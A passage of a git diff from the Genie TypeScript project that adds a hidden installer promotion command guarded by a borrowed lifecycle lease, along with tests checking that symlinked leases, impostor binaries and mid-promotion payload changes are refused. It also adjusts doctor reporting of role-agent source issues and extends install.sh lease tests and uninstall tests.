for (const agent of agents) { try { digests.set(agent.name, computeFileDigest(agent.path)); - } catch { - /* unreadable source file — omit rather than misclassify */ + } catch (error) { + issues.push(`cannot read source role agent ${agent.name}: ${diagnosticError(error)}`); } } - return digests; + return { digests, issues }; } function isRegularFile(path: string): boolean { @@ -893,7 +916,10 @@ function classifyRoleAgentFile( if (present) return inSource ? 'present-unmanaged' : null; return inSource ? 'missing-from-target' : null; } - if (!present) return inSource ? 'missing-from-target' : null; + // A manifest entry is durable ownership evidence even after both the source + // and live file disappear. Report it as missing so doctor never hides stale + // ownership metadata behind a healthy empty inventory. + if (!present) return 'missing-from-target'; const onDisk = safeFileDigest(join(agentsDir, name)); const current = inSource && onDisk !== null && onDisk === entry.digest && entry.digest === source.get(name); return current ? 'genie-managed-current' : 'genie-managed-stale'; @@ -901,7 +927,8 @@ function classifyRoleAgentFile( /** Classify every source role agent (and any managed manifest entry) under `/agents`. */ function classifyRoleAgents(pluginRoot: string, agentsDir: string): Omit { - const source = sourceAgentDigests(pluginRoot); + const sourceState = sourceAgentDigests(pluginRoot); + const source = sourceState.digests; const manifest = readAgentFilesManifestState(agentsDir); const entries = manifest.kind === 'managed' ? manifest.files : {}; const names = new Set([...source.keys(), ...Object.keys(entries)]); @@ -913,19 +940,28 @@ function classifyRoleAgents(pluginRoot: string, agentsDir: string): Omit): { detail: string; stale: boolean } { + const sourceProblem = + delivery.sourceIssues.length === 0 ? null : `source inventory unavailable (${delivery.sourceIssues.join('; ')})`; if (delivery.manifestStatus === 'unsafe') { return { - detail: `manifest unusable (${delivery.manifestReason}) — every role agent treated as unmanaged`, + detail: `${sourceProblem === null ? '' : `${sourceProblem}; `}manifest unusable (${delivery.manifestReason}) — every role agent treated as unmanaged`, stale: true, }; } - if (delivery.files.length === 0) return { detail: 'no genie role agents detected', stale: false }; + if (delivery.files.length === 0) { + return { + detail: + sourceProblem === null ? 'no genie role agents detected' : `${sourceProblem}; no genie role agents detected`, + stale: sourceProblem !== null, + }; + } const counts: Record = { 'genie-managed-current': 0, 'genie-managed-stale': 0, @@ -933,11 +969,12 @@ function roleAgentSummary(delivery: Omit) 'missing-from-target': 0, }; for (const file of delivery.files) counts[file.state] += 1; - const detail = + const fileDetail = `${counts['genie-managed-current']}/${delivery.files.length} genie-managed-current, ` + `${counts['present-unmanaged']} present-unmanaged, ${counts['genie-managed-stale']} stale, ` + `${counts['missing-from-target']} missing-from-target`; - const stale = counts['genie-managed-current'] !== delivery.files.length; + const detail = sourceProblem === null ? fileDetail : `${sourceProblem}; ${fileDetail}`; + const stale = sourceProblem !== null || counts['genie-managed-current'] !== delivery.files.length; return { detail, stale }; } diff --git a/src/genie-commands/install-promote.test.ts b/src/genie-commands/install-promote.test.ts new file mode 100644 index 000000000..3fb8fe984 --- /dev/null +++ b/src/genie-commands/install-promote.test.ts @@ -0,0 +1,257 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { + chmodSync, + existsSync, + linkSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + readdirSync, + readlinkSync, + rmSync, + symlinkSync, + unlinkSync, + writeFileSync, +} from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { LIFECYCLE_LEASE_OWNER_ENV, LIFECYCLE_LEASE_PATH_ENV, lifecycleLockPath } from '../lib/agent-sync.js'; +import { type InstallPromotionDependencies, recoverPendingInstallPromotions } from '../lib/install-promotion.js'; +import { InstallPromoteCommandError, installPromoteCommand } from './install-promote.js'; + +const roots: string[] = []; +const originalLeasePath = process.env[LIFECYCLE_LEASE_PATH_ENV]; +const originalLeaseOwner = process.env[LIFECYCLE_LEASE_OWNER_ENV]; +const originalGenieHome = process.env.GENIE_HOME; + +afterEach(() => { + if (originalLeasePath === undefined) process.env[LIFECYCLE_LEASE_PATH_ENV] = undefined; + else process.env[LIFECYCLE_LEASE_PATH_ENV] = originalLeasePath; + if (originalLeaseOwner === undefined) process.env[LIFECYCLE_LEASE_OWNER_ENV] = undefined; + else process.env[LIFECYCLE_LEASE_OWNER_ENV] = originalLeaseOwner; + if (originalGenieHome === undefined) process.env.GENIE_HOME = undefined; + else process.env.GENIE_HOME = originalGenieHome; + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +function writePayload(root: string, version: string): void { + for (const name of ['.agents', '.claude-plugin', 'plugins', 'skills', 'templates']) { + mkdirSync(join(root, name), { recursive: true }); + writeFileSync(join(root, name, 'generation.txt'), `${version}:${name}\n`); + } + writeFileSync(join(root, 'LICENSE'), `${version}:license\n`); + writeFileSync(join(root, 'VERSION'), `${version}\n`); + writeFileSync(join(root, 'genie'), `#!/bin/sh\necho genie ${version}\n`); + chmodSync(join(root, 'genie'), 0o755); +} + +function fixture(withLive = true) { + const root = mkdtempSync(join(tmpdir(), 'genie-install-promote-command-')); + roots.push(root); + const userHome = join(root, 'user'); + const genieHome = join(userHome, '.genie'); + const bin = join(genieHome, 'bin'); + const staging = join(root, 'release-payload'); + mkdirSync(bin, { recursive: true }); + mkdirSync(staging, { mode: 0o700 }); + if (withLive) writePayload(bin, '1.0.0'); + writePayload(staging, '2.0.0'); + const owner = `12345:${'a'.repeat(32)}:unknown`; + const ownerFile = join(userHome, '.installer-owner'); + const leasePath = lifecycleLockPath(genieHome); + writeFileSync(ownerFile, `${owner}\n`, { mode: 0o600 }); + linkSync(ownerFile, leasePath); + process.env.GENIE_HOME = genieHome; + process.env[LIFECYCLE_LEASE_PATH_ENV] = leasePath; + process.env[LIFECYCLE_LEASE_OWNER_ENV] = owner; + return { root, userHome, genieHome, bin, staging, owner, ownerFile, leasePath }; +} + +function run( + f: ReturnType, + emit: string[] = [], + promotionOverrides: Omit = {}, +): void { + installPromoteCommand( + { stagingRoot: f.staging, expectedVersion: '2.0.0' }, + { + runtimeExecutable: join(f.staging, 'genie'), + runtimeVersion: '2.0.0', + userHome: f.userHome, + emit: (line) => emit.push(line), + promotion: { + randomId: () => + f.staging.endsWith('second') + ? '33333333-3333-4333-8333-333333333333' + : '22222222-2222-4222-8222-222222222222', + ...promotionOverrides, + }, + }, + ); +} + +describe('hidden installer promoter command', () => { + test('borrows the exact shell lease, promotes, and publishes one canonical no-clobber link', () => { + const f = fixture(); + const output: string[] = []; + + run(f, output); + + expect(readFileSync(join(f.bin, 'VERSION'), 'utf8')).toBe('2.0.0\n'); + const canonicalLink = join(f.userHome, '.local', 'bin', 'genie'); + expect(lstatSync(canonicalLink).isSymbolicLink()).toBe(true); + expect(readlinkSync(canonicalLink)).toBe(join(f.bin, 'genie')); + expect(lstatSync(f.leasePath).nlink).toBe(2); + expect(readFileSync(f.leasePath, 'utf8')).toBe(`${f.owner}\n`); + expect(JSON.parse(output[0] as string)).toMatchObject({ outcome: 'committed', canonicalLink }); + }); + + test('missing borrowed authority fails before any live or link mutation', () => { + const f = fixture(); + process.env[LIFECYCLE_LEASE_OWNER_ENV] = undefined; + + expect(() => run(f)).toThrow(InstallPromoteCommandError); + expect(readFileSync(join(f.bin, 'VERSION'), 'utf8')).toBe('1.0.0\n'); + expect(existsSync(join(f.userHome, '.local'))).toBe(false); + }); + + test('a symlinked lease path is rejected without following or mutating its target', () => { + const f = fixture(); + const victim = join(f.root, 'lease-victim'); + writeFileSync(victim, `${f.owner}\n`); + unlinkSync(f.leasePath); + symlinkSync(victim, f.leasePath); + + expect(() => run(f)).toThrow('physical regular file'); + expect(readFileSync(victim, 'utf8')).toBe(`${f.owner}\n`); + expect(readFileSync(join(f.bin, 'VERSION'), 'utf8')).toBe('1.0.0\n'); + }); + + test('an owner-record replacement is rejected and the shell owner link remains', () => { + const f = fixture(); + writeFileSync(f.ownerFile, 'foreign-owner\n'); + + expect(() => run(f)).toThrow('owner changed'); + expect(lstatSync(f.leasePath).nlink).toBe(2); + expect(readFileSync(join(f.bin, 'VERSION'), 'utf8')).toBe('1.0.0\n'); + }); + + test('a foreign canonical pathname is preserved and blocks promotion', () => { + const f = fixture(); + const link = join(f.userHome, '.local', 'bin', 'genie'); + mkdirSync(join(f.userHome, '.local', 'bin'), { recursive: true }); + writeFileSync(link, 'foreign canonical file'); + + expect(() => run(f)).toThrow(); + expect(readFileSync(link, 'utf8')).toBe('foreign canonical file'); + expect(readFileSync(join(f.bin, 'VERSION'), 'utf8')).toBe('1.0.0\n'); + }); + + test('an incomplete staged payload fails without publishing a dangling canonical link', () => { + const f = fixture(false); + rmSync(join(f.staging, 'templates'), { recursive: true }); + const canonicalLink = join(f.userHome, '.local', 'bin', 'genie'); + + expect(() => run(f)).toThrow('exact installer member allowlist'); + expect(existsSync(join(f.bin, 'genie'))).toBe(false); + expect(existsSync(canonicalLink)).toBe(false); + }); + + test('same-byte but different-inode mutation authority is rejected', () => { + const f = fixture(); + const impostor = join(f.root, 'impostor'); + writeFileSync(impostor, readFileSync(join(f.staging, 'genie'))); + chmodSync(impostor, 0o755); + + expect(() => + installPromoteCommand( + { stagingRoot: f.staging, expectedVersion: '2.0.0' }, + { runtimeExecutable: impostor, runtimeVersion: '2.0.0', userHome: f.userHome }, + ), + ).toThrow('exact verified staged executable'); + expect(readFileSync(join(f.bin, 'VERSION'), 'utf8')).toBe('1.0.0\n'); + }); + + test('native self-test is isolated from production lease authority', () => { + process.env[LIFECYCLE_LEASE_PATH_ENV] = undefined; + process.env[LIFECYCLE_LEASE_OWNER_ENV] = undefined; + const output: string[] = []; + + installPromoteCommand({ selfTest: true }, { emit: (line) => output.push(line) }); + + expect(JSON.parse(output[0] as string)).toMatchObject({ schemaVersion: 1, ok: true }); + }); + + test('a second invocation converges idempotently with the existing canonical link', () => { + const f = fixture(); + run(f); + const secondStaging = join(f.root, 'release-payload-second'); + mkdirSync(secondStaging, { mode: 0o700 }); + writePayload(secondStaging, '2.0.0'); + f.staging = secondStaging; + + run(f); + + expect(readFileSync(join(f.bin, 'VERSION'), 'utf8')).toBe('2.0.0\n'); + expect(readdirSync(join(f.bin, '.previous')).filter((name) => name.startsWith('genie-prior-'))).toHaveLength(2); + }); + + test('the injected final-boundary seam runs before lease authority is rechecked', () => { + const f = fixture(); + let replaced = false; + + expect(() => + run(f, [], { + beforeRename: () => { + if (replaced) return; + replaced = true; + unlinkSync(f.leasePath); + writeFileSync(f.leasePath, `${f.owner}\n`, { mode: 0o600 }); + }, + }), + ).toThrow(); + expect(replaced).toBe(true); + expect(readFileSync(join(f.bin, 'VERSION'), 'utf8')).toBe('1.0.0\n'); + expect(readFileSync(f.leasePath, 'utf8')).toBe(`${f.owner}\n`); + }); + + test('post-admission payload mutation cannot reach the live generation', () => { + const f = fixture(); + const internalStage = join(f.bin, '.install-staging-22222222-2222-4222-8222-222222222222'); + let mutated = false; + + expect(() => + run(f, [], { + beforeRename: () => { + if (mutated) return; + mutated = true; + writeFileSync(join(internalStage, 'plugins', 'generation.txt'), 'foreign\n'); + }, + }), + ).toThrow(); + expect(mutated).toBe(true); + expect(readFileSync(join(f.bin, 'VERSION'), 'utf8')).toBe('1.0.0\n'); + expect(readFileSync(join(f.bin, 'plugins', 'generation.txt'), 'utf8')).toBe('1.0.0:plugins\n'); + }); + + test('an interrupted final publish retains the exact empty stage required for rollback recovery', () => { + const f = fixture(); + const internalStage = join(f.bin, '.install-staging-22222222-2222-4222-8222-222222222222'); + + expect(() => + run(f, [], { + interruptAfterRename: (event) => event.operation === 'publish-incoming' && event.member === 'genie', + }), + ).toThrow(); + expect(existsSync(internalStage)).toBe(true); + expect(readdirSync(internalStage)).toEqual([]); + + recoverPendingInstallPromotions({ + genieHome: f.genieHome, + dependencies: { randomId: () => '99999999-9999-4999-8999-999999999999' }, + }); + expect(readFileSync(join(f.bin, 'VERSION'), 'utf8')).toBe('1.0.0\n'); + expect(readFileSync(join(internalStage, 'VERSION'), 'utf8')).toBe('2.0.0\n'); + }); +}); diff --git a/src/genie-commands/install-promote.ts b/src/genie-commands/install-promote.ts new file mode 100644 index 000000000..728118bed --- /dev/null +++ b/src/genie-commands/install-promote.ts @@ -0,0 +1,320 @@ +import { execFileSync } from 'node:child_process'; +import { + constants, + closeSync, + fstatSync, + lstatSync, + mkdtempSync, + openSync, + readFileSync, + rmSync, + writeFileSync, +} from 'node:fs'; +import { homedir, tmpdir } from 'node:os'; +import { join, resolve } from 'node:path'; +import { + LIFECYCLE_LEASE_OWNER_ENV, + LIFECYCLE_LEASE_PATH_ENV, + type LifecycleLease, + acquireLifecycleLease, + lifecycleLockPath, +} from '../lib/agent-sync.js'; +import { + type CanonicalInstallLinkGuard, + preflightCanonicalInstallLink, + prepareCanonicalInstallLink, + verifyCanonicalInstallLink, +} from '../lib/install-link.js'; +import { + type InstallPromotionDependencies, + type InstallStagingDirectoryGuard, + admitExternalInstallStaging, + closeInstallStagingDirectory, + installPromotionCapability, + promoteStagedInstall, + recoverPendingInstallPromotions, + removeInstallStagingDirectory, + verifyAdmittedInstallStagingPayload, + verifyInstallStagingDirectory, +} from '../lib/install-promotion.js'; +import { + type PhysicalPathIdentity, + inspectPhysicalPath, + physicalPathIdentitiesEqual, + renamePathNoClobber, +} from '../lib/install-transaction.js'; +import { VERSION } from '../lib/version.js'; + +const VERSION_PATTERN = /(?:^|[^0-9A-Za-z.+-])v?([0-9]+\.[0-9]+\.[0-9]+(?:[-+][0-9A-Za-z.-]+)?)(?:[^0-9A-Za-z.+-]|$)/; + +export interface InstallPromoteCommandOptions { + stagingRoot?: string; + expectedVersion?: string; + selfTest?: boolean; +} + +interface BorrowedLeaseGuard { + path: string; + owner: string; + identity: PhysicalPathIdentity; + release: () => void; +} + +export interface InstallPromoteCommandDependencies { + acquireLease?: (genieHome: string) => LifecycleLease | { skipped: string }; + runtimeExecutable?: string; + runtimeVersion?: string; + userHome?: string; + promotion?: InstallPromotionDependencies; + emit?: (line: string) => void; +} + +export class InstallPromoteCommandError extends Error { + constructor(message: string, options?: ErrorOptions) { + super(message, options); + this.name = 'InstallPromoteCommandError'; + } +} + +function versionToken(value: string): string | null { + return value.match(VERSION_PATTERN)?.[1] ?? null; +} + +function exactLeaseBytes(path: string): { bytes: string; stat: ReturnType } { + const fd = openSync(path, constants.O_RDONLY | constants.O_NOFOLLOW); + try { + const before = fstatSync(fd); + if (!before.isFile() || before.isSymbolicLink() || before.size > 4096) { + throw new InstallPromoteCommandError('borrowed lifecycle lease is not a bounded physical file'); + } + const bytes = readFileSync(fd, 'utf8'); + const after = fstatSync(fd); + const atPath = lstatSync(path); + if ( + before.dev !== after.dev || + before.ino !== after.ino || + before.mode !== after.mode || + before.size !== after.size || + before.mtimeMs !== after.mtimeMs || + after.dev !== atPath.dev || + after.ino !== atPath.ino || + after.mode !== atPath.mode || + after.size !== atPath.size || + after.mtimeMs !== atPath.mtimeMs + ) { + throw new InstallPromoteCommandError('borrowed lifecycle lease changed while it was read'); + } + return { bytes, stat: after }; + } finally { + closeSync(fd); + } +} + +function assertBorrowedLeaseUnchanged(guard: BorrowedLeaseGuard): void { + const actual = inspectPhysicalPath(guard.path); + if (!physicalPathIdentitiesEqual(actual, guard.identity)) { + throw new InstallPromoteCommandError('borrowed lifecycle lease physical identity changed'); + } + const { bytes, stat } = exactLeaseBytes(guard.path); + if (bytes !== `${guard.owner}\n`) throw new InstallPromoteCommandError('borrowed lifecycle lease owner changed'); + if (stat.nlink !== 2) throw new InstallPromoteCommandError('borrowed lifecycle lease lost its shell owner link'); + if (process.getuid !== undefined && stat.uid !== process.getuid()) { + throw new InstallPromoteCommandError('borrowed lifecycle lease is owned by a different user'); + } +} + +/** Require the exact shell-owned hard-link lease; this command never acquires an independent production lease. */ +export function acquireExactBorrowedInstallLease( + genieHome: string, + acquireLease: NonNullable = acquireLifecycleLease, +): BorrowedLeaseGuard { + const expectedPath = lifecycleLockPath(genieHome); + const path = process.env[LIFECYCLE_LEASE_PATH_ENV]; + const owner = process.env[LIFECYCLE_LEASE_OWNER_ENV]; + if ( + path !== expectedPath || + owner === undefined || + owner.length === 0 || + owner.includes('\n') || + owner.includes('\r') + ) { + throw new InstallPromoteCommandError('installer promotion requires the exact borrowed shell lifecycle lease'); + } + const initial = inspectPhysicalPath(path); + if (initial === null || initial.kind !== 'file') { + throw new InstallPromoteCommandError('borrowed lifecycle lease is not a physical regular file'); + } + const provisional: BorrowedLeaseGuard = { path, owner, identity: initial, release: () => undefined }; + assertBorrowedLeaseUnchanged(provisional); + const lease = acquireLease(genieHome); + if ('skipped' in lease || lease.path !== path) { + throw new InstallPromoteCommandError( + `borrowed lifecycle lease was rejected: ${'skipped' in lease ? lease.skipped : 'path mismatch'}`, + ); + } + const guard = { ...provisional, release: lease.release }; + assertBorrowedLeaseUnchanged(guard); + return guard; +} + +function assertRunningVerifiedStage(stagingBinary: string, runtimeExecutable: string): PhysicalPathIdentity { + const staged = inspectPhysicalPath(stagingBinary); + const running = inspectPhysicalPath(runtimeExecutable); + if (staged === null || staged.kind !== 'file' || !physicalPathIdentitiesEqual(staged, running)) { + throw new InstallPromoteCommandError('installer mutation authority is not the exact verified staged executable'); + } + return staged; +} + +function verifyExecutableVersion(binaryPath: string, expectedVersion: string): boolean { + try { + const output = execFileSync(binaryPath, ['--version'], { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] }); + return versionToken(output) === expectedVersion; + } catch { + return false; + } +} + +function runNativeSelfTest(emit: (line: string) => void): void { + const capability = installPromotionCapability(); + if (!capability.available) + throw new InstallPromoteCommandError('native installer transaction capability is unavailable'); + const root = mkdtempSync(join(tmpdir(), 'genie-install-self-test-')); + try { + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'self-test'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new InstallPromoteCommandError('self-test source disappeared'); + const result = renamePathNoClobber(source, target, expected); + if (!result.durable || !result.parentPathsStable || result.sourcePathOccupied) { + throw new InstallPromoteCommandError('native installer transaction self-test was not durable and exact'); + } + writeFileSync(source, 'foreign'); + let collisionRefused = false; + try { + renamePathNoClobber(source, target, inspectPhysicalPath(source) as PhysicalPathIdentity); + } catch { + collisionRefused = true; + } + if ( + !collisionRefused || + readFileSync(source, 'utf8') !== 'foreign' || + readFileSync(target, 'utf8') !== 'self-test' + ) { + throw new InstallPromoteCommandError('native installer transaction self-test did not preserve a collision'); + } + emit(JSON.stringify({ schemaVersion: 1, ok: true, platform: capability.platform })); + } finally { + rmSync(root, { recursive: true, force: true }); + } +} + +/** Hidden entrypoint used only by the verified release binary invoked from install.sh. */ +export function installPromoteCommand( + options: InstallPromoteCommandOptions, + dependencies: InstallPromoteCommandDependencies = {}, +): void { + const emit = dependencies.emit ?? console.log; + if (options.selfTest) { + runNativeSelfTest(emit); + return; + } + if (options.stagingRoot === undefined || options.expectedVersion === undefined) { + throw new InstallPromoteCommandError('promotion requires --staging-root and --expected-version'); + } + const expectedVersion = versionToken(options.expectedVersion); + const runtimeVersion = versionToken(dependencies.runtimeVersion ?? VERSION); + if (expectedVersion === null || runtimeVersion !== expectedVersion) { + throw new InstallPromoteCommandError('running staged promoter version does not match the requested release'); + } + const genieHome = resolve(process.env.GENIE_HOME || join(dependencies.userHome ?? homedir(), '.genie')); + const stagingRoot = resolve(options.stagingRoot); + const runtimeExecutable = resolve(dependencies.runtimeExecutable ?? process.execPath); + const stagingBinary = join(stagingRoot, 'genie'); + const stagedIdentity = assertRunningVerifiedStage(stagingBinary, runtimeExecutable); + const lease = acquireExactBorrowedInstallLease(genieHome, dependencies.acquireLease); + let linkGuard: CanonicalInstallLinkGuard | null = null; + let admitted: InstallStagingDirectoryGuard | null = null; + let promotionComplete = false; + const assertAuthority = (): void => { + assertBorrowedLeaseUnchanged(lease); + if (linkGuard !== null) verifyCanonicalInstallLink(linkGuard); + if (admitted !== null) verifyInstallStagingDirectory(admitted); + }; + const promotionDependencies: InstallPromotionDependencies = { + ...(dependencies.promotion ?? {}), + beforeRename: (event) => { + dependencies.promotion?.beforeRename?.(event); + assertAuthority(); + }, + }; + try { + recoverPendingInstallPromotions({ genieHome, dependencies: promotionDependencies }); + assertAuthority(); + const userHome = resolve(dependencies.userHome ?? homedir()); + const linkPath = join(userHome, '.local', 'bin', 'genie'); + const targetPath = join(genieHome, 'bin', 'genie'); + linkGuard = preflightCanonicalInstallLink({ + trustedHome: userHome, + linkPath, + targetPath, + }); + assertAuthority(); + admitted = admitExternalInstallStaging({ + genieHome, + externalStagingRoot: stagingRoot, + expectedVersion, + randomId: promotionDependencies.randomId, + dependencies: promotionDependencies, + verifyVersion: ({ binaryPath }) => { + assertAuthority(); + if ( + binaryPath === stagingBinary && + !physicalPathIdentitiesEqual(inspectPhysicalPath(binaryPath), stagedIdentity) + ) { + return false; + } + return verifyExecutableVersion(binaryPath, expectedVersion); + }, + }); + assertAuthority(); + verifyAdmittedInstallStagingPayload(admitted); + const report = promoteStagedInstall({ + genieHome, + stagingRoot: admitted.stagingRoot, + expectedVersion, + dependencies: promotionDependencies, + verifyVersion: ({ binaryPath, phase }) => { + assertAuthority(); + if (phase === 'staged' && admitted !== null) verifyAdmittedInstallStagingPayload(admitted); + return verifyExecutableVersion(binaryPath, expectedVersion); + }, + }); + promotionComplete = true; + assertAuthority(); + linkGuard = prepareCanonicalInstallLink({ + trustedHome: userHome, + linkPath, + targetPath, + nativeRename: { + ...(promotionDependencies.nativeRename ?? {}), + beforeInvoke: assertAuthority, + }, + }); + assertAuthority(); + emit(JSON.stringify({ ...report, canonicalLink: linkGuard.linkPath })); + } finally { + try { + if (admitted !== null) { + try { + if (promotionComplete) removeInstallStagingDirectory(admitted); + } finally { + closeInstallStagingDirectory(admitted); + } + } + } finally { + lease.release(); + } + } +} diff --git a/src/genie-commands/install.test.ts b/src/genie-commands/install.test.ts index 2ab61b2dc..868cb468f 100644 --- a/src/genie-commands/install.test.ts +++ b/src/genie-commands/install.test.ts @@ -66,13 +66,15 @@ describe('standalone install.sh lifecycle lease', () => { afterEach(() => rmSync(root, { recursive: true, force: true })); function shell(script: string) { - return spawnSync('bash', ['-c', script, 'bash', installer], { + const deterministicProcessProbe = `ps() { [[ "$1" == "-p" && "$2" == "$GENIE_TEST_LIVE_PID" ]]; }; ${script}`; + return spawnSync('bash', ['-c', deterministicProcessProbe, 'bash', installer], { encoding: 'utf8', env: { ...process.env, HOME: home, GENIE_HOME: genieHome, GENIE_INSTALL_SOURCE_ONLY: '1', + GENIE_TEST_LIVE_PID: String(process.pid), }, }); } @@ -198,7 +200,7 @@ describe('standalone install.sh lifecycle lease', () => { utimesSync(lock, aged, aged); writeFileSync(guard, '999999:abcdefabcdefabcdefabcdefabcdefab:unknown\n', { mode: 0o600 }); // fresh mtime - const result = shell('source "$1"; acquire_lifecycle_lock'); + const result = shell(`source "$1"; ps() { [[ "$2" == "${process.pid}" ]]; }; acquire_lifecycle_lock`); expect(result.status).toBe(1); expect(result.stderr).toContain('another Genie lifecycle command is active'); @@ -224,6 +226,38 @@ describe('standalone install.sh lifecycle lease', () => { expect(existsSync(guard)).toBe(true); // live owner is never reaped regardless of age }); + test('an unavailable ps probe fails closed instead of reaping an aged lock', () => { + const lock = lifecycleLockPath(genieHome); + writeFileSync(lock, '999999:0123456789abcdef0123456789abcdef:unknown\n', { mode: 0o600 }); + const aged = new Date(Date.now() - 11 * 60 * 1_000); + utimesSync(lock, aged, aged); + + const result = shell('source "$1"; ps() { return 126; }; acquire_lifecycle_lock'); + + expect(result.status).toBe(1); + expect(result.stderr).toContain('another Genie lifecycle command is active'); + expect(existsSync(lock)).toBe(true); // unknown liveness never authorizes removal + }); + + test('an unavailable guard-owner probe preserves both the aged guard and stale lock', () => { + const lock = lifecycleLockPath(genieHome); + const guard = `${lock}.steal`; + writeFileSync(lock, '999999:0123456789abcdef0123456789abcdef:unknown\n', { mode: 0o600 }); + writeFileSync(guard, '888888:abcdefabcdefabcdefabcdefabcdefab:unknown\n', { mode: 0o600 }); + const aged = new Date(Date.now() - 11 * 60 * 1_000); + utimesSync(lock, aged, aged); + utimesSync(guard, aged, aged); + + const result = shell( + 'source "$1"; ps() { [[ "$2" == "999999" ]] && return 1; return 126; }; acquire_lifecycle_lock', + ); + + expect(result.status).toBe(1); + expect(result.stderr).toContain('another Genie lifecycle command is active'); + expect(existsSync(lock)).toBe(true); + expect(existsSync(guard)).toBe(true); + }); + test('a single-digit pid lock record parses (regression for the two-digit-minimum glob)', () => { const lock = lifecycleLockPath(genieHome); writeFileSync(lock, '5:0123456789abcdef0123456789abcdef:unknown\n', { mode: 0o600 }); @@ -266,7 +300,7 @@ describe('standalone install.sh lifecycle lease', () => { writeFileSync(target, '999999:abcdefabcdefabcdefabcdefabcdefab:unknown\n', { mode: 0o600 }); symlinkSync(target, guard); // a guard we must refuse to follow/unlink - const result = shell('source "$1"; acquire_lifecycle_lock'); + const result = shell(`source "$1"; ps() { [[ "$2" == "${process.pid}" ]]; }; acquire_lifecycle_lock`); expect(result.status).toBe(1); expect(result.stderr).toContain('another Genie lifecycle command is active'); diff --git a/src/genie-commands/uninstall.test.ts b/src/genie-commands/uninstall.test.ts index 6f24ec5db..3e120a91b 100644 --- a/src/genie-commands/uninstall.test.ts +++ b/src/genie-commands/uninstall.test.ts @@ -12,7 +12,7 @@ * while its exact user bytes survive. */ -import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; +import { afterEach, beforeEach, describe, expect, spyOn, test } from 'bun:test'; import { createHash } from 'node:crypto'; import { chmodSync, @@ -30,7 +30,7 @@ import { writeFileSync, } from 'node:fs'; import { tmpdir } from 'node:os'; -import { dirname, join, resolve, win32 } from 'node:path'; +import { basename, dirname, join, resolve, win32 } from 'node:path'; import { MANAGED_BY, PHYSICAL_TREE_IDENTITY_VERSION, @@ -42,9 +42,12 @@ import { stampWorkflow, } from '../lib/agent-sync.js'; import { + type ProvenV4Rules, type UninstallBatchScope, + type UninstallResult, clearUninstallBatchDecision, collectAgentSyncAssets, + discardLegacyUninstallBatchDecision, executeUninstallBatch, hasPendingUninstallTransactions, hasRemovableGenieInstallState, @@ -52,16 +55,21 @@ import { inspectUninstallPlan, isGenieSymlink, isSameOrContainedPath, + performFreshUninstallPlan, performUninstall, readUninstallBatchDecision, recordUninstallBatchDecision, recoverUninstallTransactions, removeAgentSyncAssets, + removeProvenV4Rules, + removeRulesMember, + removeSymlinkMembers, removeSymlinks, uninstallBatchIntegrationViolations, uninstallBatchJournalPath, uninstallBatchMemberId, uninstallBatchRuntimeTargets, + updateUninstallBatchProgress, } from './uninstall.js'; describe('path containment', () => { @@ -89,6 +97,30 @@ describe('agent-sync managed-asset removal', () => { return { claudeDir, codexDir, agentsSkillsDir, hermesHome, genieHome, now: fixedNow }; } + function withIsolatedHomes(run: () => T): T { + const overrides = { + GENIE_HOME: genieHome, + CLAUDE_CONFIG_DIR: claudeDir, + CODEX_HOME: codexDir, + HERMES_HOME: hermesHome, + }; + const prior = Object.fromEntries(Object.keys(overrides).map((name) => [name, process.env[name]])); + Object.assign(process.env, overrides); + try { + return run(); + } finally { + for (const [name, value] of Object.entries(prior)) { + if (value === undefined) delete process.env[name]; + else process.env[name] = value; + } + } + } + + function requireCapturedPath(path: string | null): string { + if (path === null) throw new Error('expected destructive-path fixture to capture an object'); + return path; + } + function uninstallBackupCollisionPath(): string { return join( genieHome, @@ -151,7 +183,7 @@ describe('agent-sync managed-asset removal', () => { const manifest = readAgentFilesManifest(parent) ?? { managedBy: MANAGED_BY, files: {} }; manifest.files[name] = { digest: computeFileDigest(path), - version: '1', + version: '1.0.0', syncedAt: '2026-07-11T10:00:00.000Z', }; writeFileSync(join(parent, '.genie-sync.json'), `${JSON.stringify(manifest, null, 2)}\n`, 'utf8'); @@ -243,6 +275,19 @@ describe('agent-sync managed-asset removal', () => { expect(existsSync(transaction)).toBe(false); }); + test('retained Genie-home capture is visible pending evidence and blocks automatic recovery', () => { + const capture = mkdtempSync(join(dirname(genieHome), `.${basename(genieHome)}.uninstall-capture-`)); + const precious = join(capture, 'object', 'FOREIGN.txt'); + mkdirSync(dirname(precious)); + writeFileSync(precious, 'retained root capture\n'); + + expect(hasPendingUninstallTransactions(targets())).toBe(true); + expect(() => recoverUninstallTransactions(targets())).toThrow( + `retained uninstall capture requires no-clobber recovery review: ${capture}`, + ); + expect(readFileSync(precious, 'utf8')).toBe('retained root capture\n'); + }); + test('user-modified managed dir is kept byte-identical at the same path', () => { const edited = modifiedManagedSkill(join(claudeDir, 'skills'), 'review'); const manifestBefore = readFileSync(join(edited, '.genie-sync.json'), 'utf8'); @@ -673,7 +718,12 @@ describe('agent-sync managed-asset removal', () => { const link = join(hermesHome, 'plugins', 'genie'); const originalTarget = join(genieHome, 'plugins', 'hermes-genie'); symlinkSync(originalTarget, link); - const recorded = { kind: 'link' as const, target: originalTarget }; + const recordedStat = lstatSync(link); + const recorded = { + kind: 'link' as const, + target: originalTarget, + identity: { dev: recordedStat.dev, ino: recordedStat.ino, mode: recordedStat.mode }, + }; // Repoint to a different owned target inside the genie home (still collected). const otherTarget = join(genieHome, 'plugins', 'hermes-genie-2'); mkdirSync(otherTarget, { recursive: true }); @@ -698,8 +748,9 @@ describe('agent-sync managed-asset removal', () => { agentAssets: [{ path: skill, disposition: 'remove', identity }], codexRoleAgents: [], codexRoleInventoryStatus: 'missing', - genieHomePresent: false, - ownedRulesPath: null, + genieHomeIdentity: null, + genieHomeRemovalDigest: null, + ownedRules: null, removeMarketplace: false, runtimeClients: { codex: false, claude: false }, runtimePlugins: { codex: false, claude: false }, @@ -928,7 +979,7 @@ describe('agent-sync managed-asset removal', () => { if (event.operation !== 'remove' || event.path !== scout) return; const manifest = readAgentFilesManifest(agentsDir); if (manifest === null) throw new Error('fixture manifest missing at CAS barrier'); - changedDigest = 'concurrently-reowned-digest'; + changedDigest = 'f'.repeat(64); 